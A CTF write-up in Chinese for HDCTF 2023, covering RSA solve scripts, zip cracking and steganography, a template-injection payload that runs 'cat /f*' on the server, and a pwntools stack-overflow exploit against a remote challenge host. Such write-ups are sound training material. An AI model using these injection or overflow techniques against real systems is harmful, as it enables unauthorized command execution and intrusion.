HDCTF2023-wp

Crypto

爬过小山去看云

由题目名字知道是hill+云影

得到密钥矩阵 3 4 19 11


随波逐流

NSSCTF{NOTFLAG}

Normal_Rsa

打开就有flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *
#from shin import flag


m=bytes_to_long(b'HDCTF{0b3663ed-67e4-44e2-aee7-7c2d8665b63c}')
e=65537
p=getPrime(256)
#q=getPrime(512)
q=6704006258427795304220450411280948926213189680360135534636452074716135019217911134480777251273836898349926894302122011679095979445240343891749741039976761
r=getPrime(512)
n=p*q*r
P=pow(p,2,n)
Q=pow(q,2,n)
c=pow(m,e,n)
print(f"P = {P}")
print(f"Q = {Q}")
print(f"n = {n}")
print(f"c = {c}")
'''
P = 6773247693445539441213578786581644136043035242620265251725630106817272212428325283262417364786451280269516220237289567904055371962564710888510272312707201
Q = 44943699913039047357456835559925378512493523252980366265686899925123157887149890185055864945749408514100461655676474535153113631214288057465776668291975220848776401405531599573114898492452990847774628035552581539370236080368457643523158920565504112005843410442573511095306233906498204203659537135943420051121
n = 4785613888465991171479248142015453309149548888755453367991501772592797686075465426815591528773123474962122102667475893532087343900904799831474817826058951265607078893487357878501280782935653048309499430170214015422492927323961394806106719569168457890040223027119115392961801582406287167644266319898276785787730947633037300317098453409851410936140488150390919951503767522517809035474567
c = 2247027561636791381460194811205520085150851211795956750955965051548230844233212462525163107917067768507367576366327035846089534916090521357212722275045521111077106695721780943857231570836500588468487620819893688830570842176795906808347617421353983094639290979158413935035603633331786978227439155042365130799647385116773171906670409535157184391352888875130028955334874727206292146950544
'''

Normal_Rsa(revenge)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
#from shin import flag


m=bytes_to_long(b'HDCTF{******}')
e=65537
p=getPrime(256)
q=getPrime(512)
r=getPrime(512)
n=p*q*r
P=pow(p,2,n)
Q=pow(q,2,n)
c=pow(m,e,n)
print(f"P = {P}")
print(f"Q = {Q}")
print(f"n = {n}")
print(f"c = {c}")
'''
P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
'''

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
import gmpy2
e=65537
P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
p,s=gmpy2.iroot(P,2)
q,s=gmpy2.iroot(Q,2)
r=n//(p*q)
phi=(p-1)*(q-1)*(r-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
#b'HDCTF{08c66aa2-f8ea-49a2-a84f-ab9c7999ebb2}'

misc

hardMisc

zsteg嗦

ExtremeMisc

binwalk分离出压缩包
爆破密码为haida
解出来得到双字节逆序的zip
https://github.com/AabyssZG/FileReverse-Tools
python FileReverse-Tools.py -re Reverse.piz
得到逆序好的zip,改后缀为.zip
继续爆破得到密码9724
secret.zip里的文件没密码里面是secret.txt,另一个压缩包里也有,对比crc32相同,明文攻击

NSSCTF{u_a_a_master_@_c0mpRe553d_PaCKe1s}

MasterMisc

合并压缩包:linux:cat *.001 *.002 *.003 *.004 *.005 *.006 > x.zip
爆破密码:5483
解压得到:


看图片提示010打开找flag3
foremost分离
得到一个图片一个音频
图片爆破长宽高

得到flag2
音频:
看频谱图

得到flag1
HDCTF{e67d8104-7536-4433-bfff-96759901c405}

web

Welcome To HDCTF 2023


jsfuck直接控制台

SearchMaster


………….
post一个data,ssti
payload:data={if system('cat /f*')}{/if}

reverse

easy_re

upx脱壳
upx -d file
ida打开看main函数数里有base64字符串,解密就行

pwn

pwnner

随机数预测+栈溢出
exp

1
2
3
4
5
6
7
8
9
from pwn import*
elf=ELF('./pwnner')
context.log_level = 'debug'
x = remote('node6.anna.nssctf.cn',28888)
x.recvuntil('you should prove that you love pwn,so input your name:')
x.send(b'1956681178')
payload = b'a'*64+b'b'*8+p64(0x4008b2)
x.send(payload)
x.interactive()

HDCTF2023-wp
http://example.com/2023/04/23/HDCTF/
作者
J_0k3r
发布于
2023年4月23日
许可协议
BY J_0K3R